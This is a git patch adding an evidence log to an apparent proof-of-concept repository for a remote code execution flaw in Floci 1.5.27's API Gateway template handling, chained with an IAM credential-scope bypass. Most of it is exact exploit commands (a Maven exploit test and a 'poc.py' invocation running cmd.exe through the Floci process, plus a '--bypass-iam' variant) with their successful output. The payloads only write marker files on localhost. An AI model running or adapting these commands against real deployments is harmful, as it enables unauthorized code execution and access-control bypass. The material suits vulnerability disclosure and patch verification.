From e10d48516ea7ff8bc3e1dd93f76ab5fab8d4e9c8 Mon Sep 17 00:00:00 2001
From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org>
Date: Mon, 29 Jun 2026 16:43:10 +0000
Subject: [PATCH] Upload files to "floci-apigateway-vtl-rce-poc/evidence"

---
 .../2026-06-23-local-verification.txt         | 43 +++++++++++++++++++
 1 file changed, 43 insertions(+)
 create mode 100644 floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt

diff --git a/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt b/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt
new file mode 100644
index 0000000..307f259
--- /dev/null
+++ b/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt
@@ -0,0 +1,43 @@
+Target:
+  Floci 1.5.27
+  Original RCE commit analyzed: 238294e779d0cd24835ba04d7bb16b1e1fd15f76
+  Latest upstream commit rechecked for IAM bypass chain: 7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0
+
+Original JUnit RCE command:
+  .\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test
+
+Original JUnit RCE result:
+  Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
+  target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE
+
+Original standalone PoC command:
+  python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt"
+
+Original standalone PoC result:
+  [+] REST API id: d1e873f2f8
+  [+] Resource id: cfd975b9
+  [+] Trigger response: {"ok":true,"exit":"0"}
+  [+] Command executed by Floci process
+  [+] Cleanup delete REST API: HTTP 202
+  POC_EXIT=0
+  MARKER_EXISTS=True
+  C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC
+
+IAM bypass regression command:
+  .\mvnw.cmd -Dtest=ApiGatewayIamBypassRegressionTest test
+
+IAM bypass regression result:
+  Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
+  Correct apigateway credential scope was denied:
+    HTTP 403
+    IAM enforcement DENY: action=apigateway:POST
+  Wrong iam credential scope was allowed with the same access key:
+    Created REST API
+    Created API Gateway resource
+    Stored responseTemplates entry
+    Created deployment and stage
+    Executed /execute-api/{apiId}/prod/probe
+    Observed template-controlled HTTP 207 response
+
+Standalone wrong-scope bypass command shape:
+  python poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv cmd.exe /c "echo FLOCI_BYPASS_CHAIN>C:/Temp/floci_bypass_chain.txt"